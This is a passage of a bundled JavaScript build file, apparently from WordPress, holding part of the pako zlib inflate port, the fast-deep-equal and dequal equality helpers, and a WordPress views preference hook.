2834 table. The sorted table is work[], with that space being provided by
2835 the caller.
2836
2837 The length counts are used for other purposes as well, i.e. finding
2838 the minimum and maximum length codes, determining if there are any
2839 codes at all, checking for a valid set of lengths, and looking ahead
2840 at length counts to determine sub-table sizes when building the
2841 decoding tables.
2842 */
2843
2844 /* accumulate lengths for codes (assumes lens[] all in 0..MAXBITS) */
2845 for (len = 0; len <= MAXBITS; len++) {
2846 count[len] = 0;
2847 }
2848 for (sym = 0; sym < codes; sym++) {
2849 count[lens[lens_index + sym]]++;
2850 }
2851
2852 /* bound code lengths, force root to be within code lengths */
2853 root = bits;
2854 for (max = MAXBITS; max >= 1; max--) {
2855 if (count[max] !== 0) { break; }
2856 }
2857 if (root > max) {
2858 root = max;
2859 }
2860 if (max === 0) { /* no symbols to code at all */
2861 //table.op[opts.table_index] = 64; //here.op = (var char)64; /* invalid code marker */
2862 //table.bits[opts.table_index] = 1; //here.bits = (var char)1;
2863 //table.val[opts.table_index++] = 0; //here.val = (var short)0;
2864 table[table_index++] = (1 << 24) | (64 << 16) | 0;
2865
2866
2867 //table.op[opts.table_index] = 64;
2868 //table.bits[opts.table_index] = 1;
2869 //table.val[opts.table_index++] = 0;
2870 table[table_index++] = (1 << 24) | (64 << 16) | 0;
2871
2872 opts.bits = 1;
2873 return 0; /* no symbols, but wait for decoding to report error */
2874 }
2875 for (min = 1; min < max; min++) {
2876 if (count[min] !== 0) { break; }
2877 }
2878 if (root < min) {
2879 root = min;
2880 }
2881
2882 /* check for an over-subscribed or incomplete set of lengths */
2883 left = 1;
2884 for (len = 1; len <= MAXBITS; len++) {
2885 left <<= 1;
2886 left -= count[len];
2887 if (left < 0) {
2888 return -1;
2889 } /* over-subscribed */
2890 }
2891 if (left > 0 && (type === CODES || max !== 1)) {
2892 return -1; /* incomplete set */
2893 }
2894
2895 /* generate offsets into symbol table for each length for sorting */
2896 offs[1] = 0;
2897 for (len = 1; len < MAXBITS; len++) {
2898 offs[len + 1] = offs[len] + count[len];
2899 }
2900
2901 /* sort symbols by length, by symbol order within each length */
2902 for (sym = 0; sym < codes; sym++) {
2903 if (lens[lens_index + sym] !== 0) {
2904 work[offs[lens[lens_index + sym]]++] = sym;
2905 }
2906 }
2907
2908 /*
2909 Create and fill in decoding tables. In this loop, the table being
2910 filled is at next and has curr index bits. The code being used is huff
2911 with length len. That code is converted to an index by dropping drop
2912 bits off of the bottom. For codes where len is less than drop + curr,
2913 those top drop + curr - len bits are incremented through all values to
2914 fill the table with replicated entries.
2915
2916 root is the number of index bits for the root table. When len exceeds
2917 root, sub-tables are created pointed to by the root entry with an index
2918 of the low root bits of huff. This is saved in low to check for when a
2919 new sub-table should be started. drop is zero when the root table is
2920 being filled, and drop is root when sub-tables are being filled.
2921
2922 When a new sub-table is needed, it is necessary to look ahead in the
2923 code lengths to determine what size sub-table is needed. The length
2924 counts are used for this, and so count[] is decremented as codes are
2925 entered in the tables.
2926
2927 used keeps track of how many table entries have been allocated from the
2928 provided *table space. It is checked for LENS and DIST tables against
2929 the constants ENOUGH_LENS and ENOUGH_DISTS to guard against changes in
2930 the initial root table size constants. See the comments in inftrees.h
2931 for more information.
2932
2933 sym increments through all symbols, and the loop terminates when
2934 all codes of length max, i.e. all codes, have been processed. This
2935 routine permits incomplete codes, so another loop after this one fills
2936 in the rest of the decoding tables with invalid code markers.
2937 */
2938
2939 /* set up for code type */
2940 // poor man optimization - use if-else instead of switch,
2941 // to avoid deopts in old v8
2942 if (type === CODES) {
2943 base = extra = work; /* dummy value--not used */
2944 end = 19;
2945
2946 } else if (type === LENS) {
2947 base = lbase;
2948 base_index -= 257;
2949 extra = lext;
2950 extra_index -= 257;
2951 end = 256;
2952
2953 } else { /* DISTS */
2954 base = dbase;
2955 extra = dext;
2956 end = -1;
2957 }
2958
2959 /* initialize opts for loop */
2960 huff = 0; /* starting code */
2961 sym = 0; /* starting code symbol */
2962 len = min; /* starting code length */
2963 next = table_index; /* current table to fill in */
2964 curr = root; /* current table index bits */
2965 drop = 0; /* current bits to drop from code for index */
2966 low = -1; /* trigger new sub-table when len > root */
2967 used = 1 << root; /* use root table entries */
2968 mask = used - 1; /* mask for comparing low */
2969
2970 /* check available table space */
2971 if ((type === LENS && used > ENOUGH_LENS) ||
2972 (type === DISTS && used > ENOUGH_DISTS)) {
2973 return 1;
2974 }
2975
2976 /* process all codes and make table entries */
2977 for (;;) {
2978 /* create table entry */
2979 here_bits = len - drop;
2980 if (work[sym] < end) {
2981 here_op = 0;
2982 here_val = work[sym];
2983 }
2984 else if (work[sym] > end) {
2985 here_op = extra[extra_index + work[sym]];
2986 here_val = base[base_index + work[sym]];
2987 }
2988 else {
2989 here_op = 32 + 64; /* end of block */
2990 here_val = 0;
2991 }
2992
2993 /* replicate for those indices with low len bits equal to huff */
2994 incr = 1 << (len - drop);
2995 fill = 1 << curr;
2996 min = fill; /* save offset to next table */
2997 do {
2998 fill -= incr;
2999 table[next + (huff >> drop) + fill] = (here_bits << 24) | (here_op << 16) | here_val |0;
3000 } while (fill !== 0);
3001
3002 /* backwards increment the len-bit code huff */
3003 incr = 1 << (len - 1);
3004 while (huff & incr) {
3005 incr >>= 1;
3006 }
3007 if (incr !== 0) {
3008 huff &= incr - 1;
3009 huff += incr;
3010 } else {
3011 huff = 0;
3012 }
3013
3014 /* go to next symbol, update count, len */
3015 sym++;
3016 if (--count[len] === 0) {
3017 if (len === max) { break; }
3018 len = lens[lens_index + work[sym]];
3019 }
3020
3021 /* create new sub-table if needed */
3022 if (len > root && (huff & mask) !== low) {
3023 /* if first time, transition to sub-tables */
3024 if (drop === 0) {
3025 drop = root;
3026 }
3027
3028 /* increment past last table */
3029 next += min; /* here min is 1 << curr */
3030
3031 /* determine length of next table */
3032 curr = len - drop;
3033 left = 1 << curr;
3034 while (curr + drop < max) {
3035 left -= count[curr + drop];
3036 if (left <= 0) { break; }
3037 curr++;
3038 left <<= 1;
3039 }
3040
3041 /* check for enough space */
3042 used += 1 << curr;
3043 if ((type === LENS && used > ENOUGH_LENS) ||
3044 (type === DISTS && used > ENOUGH_DISTS)) {
3045 return 1;
3046 }
3047
3048 /* point entry in root table to sub-table */
3049 low = huff & mask;
3050 /*table.op[low] = curr;
3051 table.bits[low] = root;
3052 table.val[low] = next - opts.table_index;*/
3053 table[low] = (root << 24) | (curr << 16) | (next - table_index) |0;
3054 }
3055 }
3056
3057 /* fill in remaining table entry if code is incomplete (guaranteed to have
3058 at most one remaining entry, since if the code is incomplete, the
3059 maximum code length that was allowed to get this far is one bit) */
3060 if (huff !== 0) {
3061 //table.op[next + huff] = 64; /* invalid code marker */
3062 //table.bits[next + huff] = len - drop;
3063 //table.val[next + huff] = 0;
3064 table[next + huff] = ((len - drop) << 24) | (64 << 16) |0;
3065 }
3066
3067 /* set return parameters */
3068 //opts.table_index += used;
3069 opts.bits = root;
3070 return 0;
3071 };
3072
3073 },{"../utils/common":1}],10:[function(require,module,exports){
3074 'use strict';
3075
3076 // (C) 1995-2013 Jean-loup Gailly and Mark Adler
3077 // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
3078 //
3079 // This software is provided 'as-is', without any express or implied
3080 // warranty. In no event will the authors be held liable for any damages
3081 // arising from the use of this software.
3082 //
3083 // Permission is granted to anyone to use this software for any purpose,
3084 // including commercial applications, and to alter it and redistribute it
3085 // freely, subject to the following restrictions:
3086 //
3087 // 1. The origin of this software must not be misrepresented; you must not
3088 // claim that you wrote the original software. If you use this software
3089 // in a product, an acknowledgment in the product documentation would be
3090 // appreciated but is not required.
3091 // 2. Altered source versions must be plainly marked as such, and must not be
3092 // misrepresented as being the original software.
3093 // 3. This notice may not be removed or altered from any source distribution.
3094
3095 module.exports = {
3096 2: 'need dictionary', /* Z_NEED_DICT 2 */
3097 1: 'stream end', /* Z_STREAM_END 1 */
3098 0: '', /* Z_OK 0 */
3099 '-1': 'file error', /* Z_ERRNO (-1) */
3100 '-2': 'stream error', /* Z_STREAM_ERROR (-2) */
3101 '-3': 'data error', /* Z_DATA_ERROR (-3) */
3102 '-4': 'insufficient memory', /* Z_MEM_ERROR (-4) */
3103 '-5': 'buffer error', /* Z_BUF_ERROR (-5) */
3104 '-6': 'incompatible version' /* Z_VERSION_ERROR (-6) */
3105 };
3106
3107 },{}],11:[function(require,module,exports){
3108 'use strict';
3109
3110 // (C) 1995-2013 Jean-loup Gailly and Mark Adler
3111 // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
3112 //
3113 // This software is provided 'as-is', without any express or implied
3114 // warranty. In no event will the authors be held liable for any damages
3115 // arising from the use of this software.
3116 //
3117 // Permission is granted to anyone to use this software for any purpose,
3118 // including commercial applications, and to alter it and redistribute it
3119 // freely, subject to the following restrictions:
3120 //
3121 // 1. The origin of this software must not be misrepresented; you must not
3122 // claim that you wrote the original software. If you use this software
3123 // in a product, an acknowledgment in the product documentation would be
3124 // appreciated but is not required.
3125 // 2. Altered source versions must be plainly marked as such, and must not be
3126 // misrepresented as being the original software.
3127 // 3. This notice may not be removed or altered from any source distribution.
3128
3129 function ZStream() {
3130 /* next input byte */
3131 this.input = null; // JS specific, because we have no pointers
3132 this.next_in = 0;
3133 /* number of bytes available at input */
3134 this.avail_in = 0;
3135 /* total number of input bytes read so far */
3136 this.total_in = 0;
3137 /* next output byte should be put there */
3138 this.output = null; // JS specific, because we have no pointers
3139 this.next_out = 0;
3140 /* remaining free space at output */
3141 this.avail_out = 0;
3142 /* total number of bytes output so far */
3143 this.total_out = 0;
3144 /* last error message, NULL if no error */
3145 this.msg = ''/*Z_NULL*/;
3146 /* not visible by applications */
3147 this.state = null;
3148 /* best guess about the data type: binary or text */
3149 this.data_type = 2/*Z_UNKNOWN*/;
3150 /* adler32 value of the uncompressed data */
3151 this.adler = 0;
3152 }
3153
3154 module.exports = ZStream;
3155
3156 },{}],"/lib/inflate.js":[function(require,module,exports){
3157 'use strict';
3158
3159
3160 var zlib_inflate = require('./zlib/inflate');
3161 var utils = require('./utils/common');
3162 var strings = require('./utils/strings');
3163 var c = require('./zlib/constants');
3164 var msg = require('./zlib/messages');
3165 var ZStream = require('./zlib/zstream');
3166 var GZheader = require('./zlib/gzheader');
3167
3168 var toString = Object.prototype.toString;
3169
3170 /**
3171 * class Inflate
3172 *
3173 * Generic JS-style wrapper for zlib calls. If you don't need
3174 * streaming behaviour - use more simple functions: [[inflate]]
3175 * and [[inflateRaw]].
3176 **/
3177
3178 /* internal
3179 * inflate.chunks -> Array
3180 *
3181 * Chunks of output data, if [[Inflate#onData]] not overridden.
3182 **/
3183
3184 /**
3185 * Inflate.result -> Uint8Array|Array|String
3186 *
3187 * Uncompressed result, generated by default [[Inflate#onData]]
3188 * and [[Inflate#onEnd]] handlers. Filled after you push last chunk
3189 * (call [[Inflate#push]] with `Z_FINISH` / `true` param) or if you
3190 * push a chunk with explicit flush (call [[Inflate#push]] with
3191 * `Z_SYNC_FLUSH` param).
3192 **/
3193
3194 /**
3195 * Inflate.err -> Number
3196 *
3197 * Error code after inflate finished. 0 (Z_OK) on success.
3198 * Should be checked if broken data possible.
3199 **/
3200
3201 /**
3202 * Inflate.msg -> String
3203 *
3204 * Error message, if [[Inflate.err]] != 0
3205 **/
3206
3207
3208 /**
3209 * new Inflate(options)
3210 * - options (Object): zlib inflate options.
3211 *
3212 * Creates new inflator instance with specified params. Throws exception
3213 * on bad params. Supported options:
3214 *
3215 * - `windowBits`
3216 * - `dictionary`
3217 *
3218 * [http://zlib.net/manual.html#Advanced](http://zlib.net/manual.html#Advanced)
3219 * for more information on these.
3220 *
3221 * Additional options, for internal needs:
3222 *
3223 * - `chunkSize` - size of generated data chunks (16K by default)
3224 * - `raw` (Boolean) - do raw inflate
3225 * - `to` (String) - if equal to 'string', then result will be converted
3226 * from utf8 to utf16 (javascript) string. When string output requested,
3227 * chunk length can differ from `chunkSize`, depending on content.
3228 *
3229 * By default, when no options set, autodetect deflate/gzip data format via
3230 * wrapper header.
3231 *
3232 * ##### Example:
3233 *
3234 * ```javascript
3235 * var pako = require('pako')
3236 * , chunk1 = Uint8Array([1,2,3,4,5,6,7,8,9])
3237 * , chunk2 = Uint8Array([10,11,12,13,14,15,16,17,18,19]);
3238 *
3239 * var inflate = new pako.Inflate({ level: 3});
3240 *
3241 * inflate.push(chunk1, false);
3242 * inflate.push(chunk2, true); // true -> last chunk
3243 *
3244 * if (inflate.err) { throw new Error(inflate.err); }
3245 *
3246 * console.log(inflate.result);
3247 * ```
3248 **/
3249 function Inflate(options) {
3250 if (!(this instanceof Inflate)) return new Inflate(options);
3251
3252 this.options = utils.assign({
3253 chunkSize: 16384,
3254 windowBits: 0,
3255 to: ''
3256 }, options || {});
3257
3258 var opt = this.options;
3259
3260 // Force window size for `raw` data, if not set directly,
3261 // because we have no header for autodetect.
3262 if (opt.raw && (opt.windowBits >= 0) && (opt.windowBits < 16)) {
3263 opt.windowBits = -opt.windowBits;
3264 if (opt.windowBits === 0) { opt.windowBits = -15; }
3265 }
3266
3267 // If `windowBits` not defined (and mode not raw) - set autodetect flag for gzip/deflate
3268 if ((opt.windowBits >= 0) && (opt.windowBits < 16) &&
3269 !(options && options.windowBits)) {
3270 opt.windowBits += 32;
3271 }
3272
3273 // Gzip header has no info about windows size, we can do autodetect only
3274 // for deflate. So, if window size not set, force it to max when gzip possible
3275 if ((opt.windowBits > 15) && (opt.windowBits < 48)) {
3276 // bit 3 (16) -> gzipped data
3277 // bit 4 (32) -> autodetect gzip/deflate
3278 if ((opt.windowBits & 15) === 0) {
3279 opt.windowBits |= 15;
3280 }
3281 }
3282
3283 this.err = 0; // error code, if happens (0 = Z_OK)
3284 this.msg = ''; // error message
3285 this.ended = false; // used to avoid multiple onEnd() calls
3286 this.chunks = []; // chunks of compressed data
3287
3288 this.strm = new ZStream();
3289 this.strm.avail_out = 0;
3290
3291 var status = zlib_inflate.inflateInit2(
3292 this.strm,
3293 opt.windowBits
3294 );
3295
3296 if (status !== c.Z_OK) {
3297 throw new Error(msg[status]);
3298 }
3299
3300 this.header = new GZheader();
3301
3302 zlib_inflate.inflateGetHeader(this.strm, this.header);
3303
3304 // Setup dictionary
3305 if (opt.dictionary) {
3306 // Convert data if needed
3307 if (typeof opt.dictionary === 'string') {
3308 opt.dictionary = strings.string2buf(opt.dictionary);
3309 } else if (toString.call(opt.dictionary) === '[object ArrayBuffer]') {
3310 opt.dictionary = new Uint8Array(opt.dictionary);
3311 }
3312 if (opt.raw) { //In raw mode we need to set the dictionary early
3313 status = zlib_inflate.inflateSetDictionary(this.strm, opt.dictionary);
3314 if (status !== c.Z_OK) {
3315 throw new Error(msg[status]);
3316 }
3317 }
3318 }
3319 }
3320
3321 /**
3322 * Inflate#push(data[, mode]) -> Boolean
3323 * - data (Uint8Array|Array|ArrayBuffer|String): input data
3324 * - mode (Number|Boolean): 0..6 for corresponding Z_NO_FLUSH..Z_TREE modes.
3325 * See constants. Skipped or `false` means Z_NO_FLUSH, `true` means Z_FINISH.
3326 *
3327 * Sends input data to inflate pipe, generating [[Inflate#onData]] calls with
3328 * new output chunks. Returns `true` on success. The last data block must have
3329 * mode Z_FINISH (or `true`). That will flush internal pending buffers and call
3330 * [[Inflate#onEnd]]. For interim explicit flushes (without ending the stream) you
3331 * can use mode Z_SYNC_FLUSH, keeping the decompression context.
3332 *
3333 * On fail call [[Inflate#onEnd]] with error code and return false.
3334 *
3335 * We strongly recommend to use `Uint8Array` on input for best speed (output
3336 * format is detected automatically). Also, don't skip last param and always
3337 * use the same type in your code (boolean or number). That will improve JS speed.
3338 *
3339 * For regular `Array`-s make sure all elements are [0..255].
3340 *
3341 * ##### Example
3342 *
3343 * ```javascript
3344 * push(chunk, false); // push one of data chunks
3345 * ...
3346 * push(chunk, true); // push last chunk
3347 * ```
3348 **/
3349 Inflate.prototype.push = function (data, mode) {
3350 var strm = this.strm;
3351 var chunkSize = this.options.chunkSize;
3352 var dictionary = this.options.dictionary;
3353 var status, _mode;
3354 var next_out_utf8, tail, utf8str;
3355
3356 // Flag to properly process Z_BUF_ERROR on testing inflate call
3357 // when we check that all output data was flushed.
3358 var allowBufError = false;
3359
3360 if (this.ended) { return false; }
3361 _mode = (mode === ~~mode) ? mode : ((mode === true) ? c.Z_FINISH : c.Z_NO_FLUSH);
3362
3363 // Convert data if needed
3364 if (typeof data === 'string') {
3365 // Only binary strings can be decompressed on practice
3366 strm.input = strings.binstring2buf(data);
3367 } else if (toString.call(data) === '[object ArrayBuffer]') {
3368 strm.input = new Uint8Array(data);
3369 } else {
3370 strm.input = data;
3371 }
3372
3373 strm.next_in = 0;
3374 strm.avail_in = strm.input.length;
3375
3376 do {
3377 if (strm.avail_out === 0) {
3378 strm.output = new utils.Buf8(chunkSize);
3379 strm.next_out = 0;
3380 strm.avail_out = chunkSize;
3381 }
3382
3383 status = zlib_inflate.inflate(strm, c.Z_NO_FLUSH); /* no bad return value */
3384
3385 if (status === c.Z_NEED_DICT && dictionary) {
3386 status = zlib_inflate.inflateSetDictionary(this.strm, dictionary);
3387 }
3388
3389 if (status === c.Z_BUF_ERROR && allowBufError === true) {
3390 status = c.Z_OK;
3391 allowBufError = false;
3392 }
3393
3394 if (status !== c.Z_STREAM_END && status !== c.Z_OK) {
3395 this.onEnd(status);
3396 this.ended = true;
3397 return false;
3398 }
3399
3400 if (strm.next_out) {
3401 if (strm.avail_out === 0 || status === c.Z_STREAM_END || (strm.avail_in === 0 && (_mode === c.Z_FINISH || _mode === c.Z_SYNC_FLUSH))) {
3402
3403 if (this.options.to === 'string') {
3404
3405 next_out_utf8 = strings.utf8border(strm.output, strm.next_out);
3406
3407 tail = strm.next_out - next_out_utf8;
3408 utf8str = strings.buf2string(strm.output, next_out_utf8);
3409
3410 // move tail
3411 strm.next_out = tail;
3412 strm.avail_out = chunkSize - tail;
3413 if (tail) { utils.arraySet(strm.output, strm.output, next_out_utf8, tail, 0); }
3414
3415 this.onData(utf8str);
3416
3417 } else {
3418 this.onData(utils.shrinkBuf(strm.output, strm.next_out));
3419 }
3420 }
3421 }
3422
3423 // When no more input data, we should check that internal inflate buffers
3424 // are flushed. The only way to do it when avail_out = 0 - run one more
3425 // inflate pass. But if output data not exists, inflate return Z_BUF_ERROR.
3426 // Here we set flag to process this error properly.
3427 //
3428 // NOTE. Deflate does not return error in this case and does not needs such
3429 // logic.
3430 if (strm.avail_in === 0 && strm.avail_out === 0) {
3431 allowBufError = true;
3432 }
3433
3434 } while ((strm.avail_in > 0 || strm.avail_out === 0) && status !== c.Z_STREAM_END);
3435
3436 if (status === c.Z_STREAM_END) {
3437 _mode = c.Z_FINISH;
3438 }
3439
3440 // Finalize on the last chunk.
3441 if (_mode === c.Z_FINISH) {
3442 status = zlib_inflate.inflateEnd(this.strm);
3443 this.onEnd(status);
3444 this.ended = true;
3445 return status === c.Z_OK;
3446 }
3447
3448 // callback interim results if Z_SYNC_FLUSH.
3449 if (_mode === c.Z_SYNC_FLUSH) {
3450 this.onEnd(c.Z_OK);
3451 strm.avail_out = 0;
3452 return true;
3453 }
3454
3455 return true;
3456 };
3457
3458
3459 /**
3460 * Inflate#onData(chunk) -> Void
3461 * - chunk (Uint8Array|Array|String): output data. Type of array depends
3462 * on js engine support. When string output requested, each chunk
3463 * will be string.
3464 *
3465 * By default, stores data blocks in `chunks[]` property and glue
3466 * those in `onEnd`. Override this handler, if you need another behaviour.
3467 **/
3468 Inflate.prototype.onData = function (chunk) {
3469 this.chunks.push(chunk);
3470 };
3471
3472
3473 /**
3474 * Inflate#onEnd(status) -> Void
3475 * - status (Number): inflate status. 0 (Z_OK) on success,
3476 * other if not.
3477 *
3478 * Called either after you tell inflate that the input stream is
3479 * complete (Z_FINISH) or should be flushed (Z_SYNC_FLUSH)
3480 * or if an error happened. By default - join collected chunks,
3481 * free memory and fill `results` / `err` properties.
3482 **/
3483 Inflate.prototype.onEnd = function (status) {
3484 // On success - join
3485 if (status === c.Z_OK) {
3486 if (this.options.to === 'string') {
3487 // Glue & convert here, until we teach pako to send
3488 // utf8 aligned strings to onData
3489 this.result = this.chunks.join('');
3490 } else {
3491 this.result = utils.flattenChunks(this.chunks);
3492 }
3493 }
3494 this.chunks = [];
3495 this.err = status;
3496 this.msg = this.strm.msg;
3497 };
3498
3499
3500 /**
3501 * inflate(data[, options]) -> Uint8Array|Array|String
3502 * - data (Uint8Array|Array|String): input data to decompress.
3503 * - options (Object): zlib inflate options.
3504 *
3505 * Decompress `data` with inflate/ungzip and `options`. Autodetect
3506 * format via wrapper header by default. That's why we don't provide
3507 * separate `ungzip` method.
3508 *
3509 * Supported options are:
3510 *
3511 * - windowBits
3512 *
3513 * [http://zlib.net/manual.html#Advanced](http://zlib.net/manual.html#Advanced)
3514 * for more information.
3515 *
3516 * Sugar (options):
3517 *
3518 * - `raw` (Boolean) - say that we work with raw stream, if you don't wish to specify
3519 * negative windowBits implicitly.
3520 * - `to` (String) - if equal to 'string', then result will be converted
3521 * from utf8 to utf16 (javascript) string. When string output requested,
3522 * chunk length can differ from `chunkSize`, depending on content.
3523 *
3524 *
3525 * ##### Example:
3526 *
3527 * ```javascript
3528 * var pako = require('pako')
3529 * , input = pako.deflate([1,2,3,4,5,6,7,8,9])
3530 * , output;
3531 *
3532 * try {
3533 * output = pako.inflate(input);
3534 * } catch (err)
3535 * console.log(err);
3536 * }
3537 * ```
3538 **/
3539 function inflate(input, options) {
3540 var inflator = new Inflate(options);
3541
3542 inflator.push(input, true);
3543
3544 // That will never happens, if you don't cheat with options :)
3545 if (inflator.err) { throw inflator.msg || msg[inflator.err]; }
3546
3547 return inflator.result;
3548 }
3549
3550
3551 /**
3552 * inflateRaw(data[, options]) -> Uint8Array|Array|String
3553 * - data (Uint8Array|Array|String): input data to decompress.
3554 * - options (Object): zlib inflate options.
3555 *
3556 * The same as [[inflate]], but creates raw data, without wrapper
3557 * (header and adler32 crc).
3558 **/
3559 function inflateRaw(input, options) {
3560 options = options || {};
3561 options.raw = true;
3562 return inflate(input, options);
3563 }
3564
3565
3566 /**
3567 * ungzip(data[, options]) -> Uint8Array|Array|String
3568 * - data (Uint8Array|Array|String): input data to decompress.
3569 * - options (Object): zlib inflate options.
3570 *
3571 * Just shortcut to [[inflate]], because it autodetects format
3572 * by header.content. Done for convenience.
3573 **/
3574
3575
3576 exports.Inflate = Inflate;
3577 exports.inflate = inflate;
3578 exports.inflateRaw = inflateRaw;
3579 exports.ungzip = inflate;
3580
3581 },{"./utils/common":1,"./utils/strings":2,"./zlib/constants":4,"./zlib/gzheader":6,"./zlib/inflate":8,"./zlib/messages":10,"./zlib/zstream":11}]},{},[])("/lib/inflate.js")
3582 });
3583/* eslint-enable */
3584
3585
3586/***/ }),
3587
3588/***/ 6087:
3589/***/ ((module) => {
3590
3591"use strict";
3592module.exports = window["wp"]["element"];
3593
3594/***/ }),
3595
3596/***/ 7143:
3597/***/ ((module) => {
3598
3599"use strict";
3600module.exports = window["wp"]["data"];
3601
3602/***/ }),
3603
3604/***/ 7734:
3605/***/ ((module) => {
3606
3607"use strict";
3608
3609
3610// do not edit .js files directly - edit src/index.jst
3611
3612
3613 var envHasBigInt64Array = typeof BigInt64Array !== 'undefined';
3614
3615
3616module.exports = function equal(a, b) {
3617 if (a === b) return true;
3618
3619 if (a && b && typeof a == 'object' && typeof b == 'object') {
3620 if (a.constructor !== b.constructor) return false;
3621
3622 var length, i, keys;
3623 if (Array.isArray(a)) {
3624 length = a.length;
3625 if (length != b.length) return false;
3626 for (i = length; i-- !== 0;)
3627 if (!equal(a[i], b[i])) return false;
3628 return true;
3629 }
3630
3631
3632 if ((a instanceof Map) && (b instanceof Map)) {
3633 if (a.size !== b.size) return false;
3634 for (i of a.entries())
3635 if (!b.has(i[0])) return false;
3636 for (i of a.entries())
3637 if (!equal(i[1], b.get(i[0]))) return false;
3638 return true;
3639 }
3640
3641 if ((a instanceof Set) && (b instanceof Set)) {
3642 if (a.size !== b.size) return false;
3643 for (i of a.entries())
3644 if (!b.has(i[0])) return false;
3645 return true;
3646 }
3647
3648 if (ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) {
3649 length = a.length;
3650 if (length != b.length) return false;
3651 for (i = length; i-- !== 0;)
3652 if (a[i] !== b[i]) return false;
3653 return true;
3654 }
3655
3656
3657 if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;
3658 if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();
3659 if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();
3660
3661 keys = Object.keys(a);
3662 length = keys.length;
3663 if (length !== Object.keys(b).length) return false;
3664
3665 for (i = length; i-- !== 0;)
3666 if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;
3667
3668 for (i = length; i-- !== 0;) {
3669 var key = keys[i];
3670
3671 if (!equal(a[key], b[key])) return false;
3672 }
3673
3674 return true;
3675 }
3676
3677 // true if both NaN, false otherwise
3678 return a!==a && b!==b;
3679};
3680
3681
3682/***/ }),
3683
3684/***/ 7951:
3685/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
3686
3687"use strict";
3688
3689// EXPORTS
3690__webpack_require__.d(__webpack_exports__, {
3691 loadView: () => (/* reexport */ loadView),
3692 useView: () => (/* reexport */ useView)
3693});
3694
3695;// ./node_modules/dequal/dist/index.mjs
3696var has = Object.prototype.hasOwnProperty;
3697
3698function find(iter, tar, key) {
3699 for (key of iter.keys()) {
3700 if (dequal(key, tar)) return key;
3701 }
3702}
3703
3704function dequal(foo, bar) {
3705 var ctor, len, tmp;
3706 if (foo === bar) return true;
3707
3708 if (foo && bar && (ctor=foo.constructor) === bar.constructor) {
3709 if (ctor === Date) return foo.getTime() === bar.getTime();
3710 if (ctor === RegExp) return foo.toString() === bar.toString();
3711
3712 if (ctor === Array) {
3713 if ((len=foo.length) === bar.length) {
3714 while (len-- && dequal(foo[len], bar[len]));
3715 }
3716 return len === -1;
3717 }
3718
3719 if (ctor === Set) {
3720 if (foo.size !== bar.size) {
3721 return false;
3722 }
3723 for (len of foo) {
3724 tmp = len;
3725 if (tmp && typeof tmp === 'object') {
3726 tmp = find(bar, tmp);
3727 if (!tmp) return false;
3728 }
3729 if (!bar.has(tmp)) return false;
3730 }
3731 return true;
3732 }
3733
3734 if (ctor === Map) {
3735 if (foo.size !== bar.size) {
3736 return false;
3737 }
3738 for (len of foo) {
3739 tmp = len[0];
3740 if (tmp && typeof tmp === 'object') {
3741 tmp = find(bar, tmp);
3742 if (!tmp) return false;
3743 }
3744 if (!dequal(len[1], bar.get(tmp))) {
3745 return false;
3746 }
3747 }
3748 return true;
3749 }
3750
3751 if (ctor === ArrayBuffer) {
3752 foo = new Uint8Array(foo);
3753 bar = new Uint8Array(bar);
3754 } else if (ctor === DataView) {
3755 if ((len=foo.byteLength) === bar.byteLength) {
3756 while (len-- && foo.getInt8(len) === bar.getInt8(len));
3757 }
3758 return len === -1;
3759 }
3760
3761 if (ArrayBuffer.isView(foo)) {
3762 if ((len=foo.byteLength) === bar.byteLength) {
3763 while (len-- && foo[len] === bar[len]);
3764 }
3765 return len === -1;
3766 }
3767
3768 if (!ctor || typeof foo === 'object') {
3769 len = 0;
3770 for (ctor in foo) {
3771 if (has.call(foo, ctor) && ++len && !has.call(bar, ctor)) return false;
3772 if (!(ctor in bar) || !dequal(foo[ctor], bar[ctor])) return false;
3773 }
3774 return Object.keys(bar).length === len;
3775 }
3776 }
3777
3778 return foo !== foo && bar !== bar;
3779}
3780
3781;// ./node_modules/@wordpress/views/build-module/preference-keys.js
3782function generatePreferenceKey(kind, name, slug) {
3783 return `dataviews-${kind}-${name}-${slug}`;
3784}
3785
3786
3787// EXTERNAL MODULE: external ["wp","element"]
3788var external_wp_element_ = __webpack_require__(6087);
3789// EXTERNAL MODULE: external ["wp","data"]
3790var external_wp_data_ = __webpack_require__(7143);
3791// EXTERNAL MODULE: external ["wp","preferences"]
3792var external_wp_preferences_ = __webpack_require__(1233);
3793;// ./node_modules/@wordpress/views/build-module/use-view.js
3794
3795
3796
3797
3798
3799function omit(obj, keys) {
3800 const result = { ...obj };
3801 for (const key of keys) {
3802 delete result[key];
3803 }
3804 return result;
3805}
3806function useView(config) {
3807 const { kind, name, slug, defaultView, queryParams, onChangeQueryParams } = config;
3808 const preferenceKey = generatePreferenceKey(kind, name, slug);
3809 const persistedView = (0,external_wp_data_.useSelect)(
3810 (select) => {
3811 return select(external_wp_preferences_.store).get(
3812 "core/views",
3813 preferenceKey
3814 );
3815 },
3816 [preferenceKey]
3817 );
3818 const { set } = (0,external_wp_data_.useDispatch)(external_wp_preferences_.store);
3819 const baseView = persistedView ?? defaultView;
3820 const page = Number(queryParams?.page ?? baseView.page ?? 1);
3821 const search = queryParams?.search ?? baseView.search ?? "";
3822 const view = (0,external_wp_element_.useMemo)(() => {
3823 return {
3824 ...baseView,
3825 page,
3826 search
3827 };
3828 }, [baseView, page, search]);
3829 const isModified = !!persistedView;
3830 const updateView = (0,external_wp_element_.useCallback)(
3831 (newView) => {
3832 const urlParams = {
3833 page: newView?.page,
3834 search: newView?.search
3835 };
3836 const preferenceView = omit(newView, ["page", "search"]);
3837 if (onChangeQueryParams && !dequal(urlParams, { page, search })) {
3838 onChangeQueryParams(urlParams);
3839 }
3840 if (!dequal(baseView, preferenceView)) {
3841 if (dequal(preferenceView, defaultView)) {
3842 set("core/views", preferenceKey, void 0);
3843 } else {
3844 set("core/views", preferenceKey, preferenceView);
3845 }
3846 }
3847 },
3848 [
3849 onChangeQueryParams,
3850 page,
3851 search,
3852 baseView,
3853 defaultView,
3854 set,
3855 preferenceKey
3856 ]
3857 );
3858 const resetToDefault = (0,external_wp_element_.useCallback)(() => {
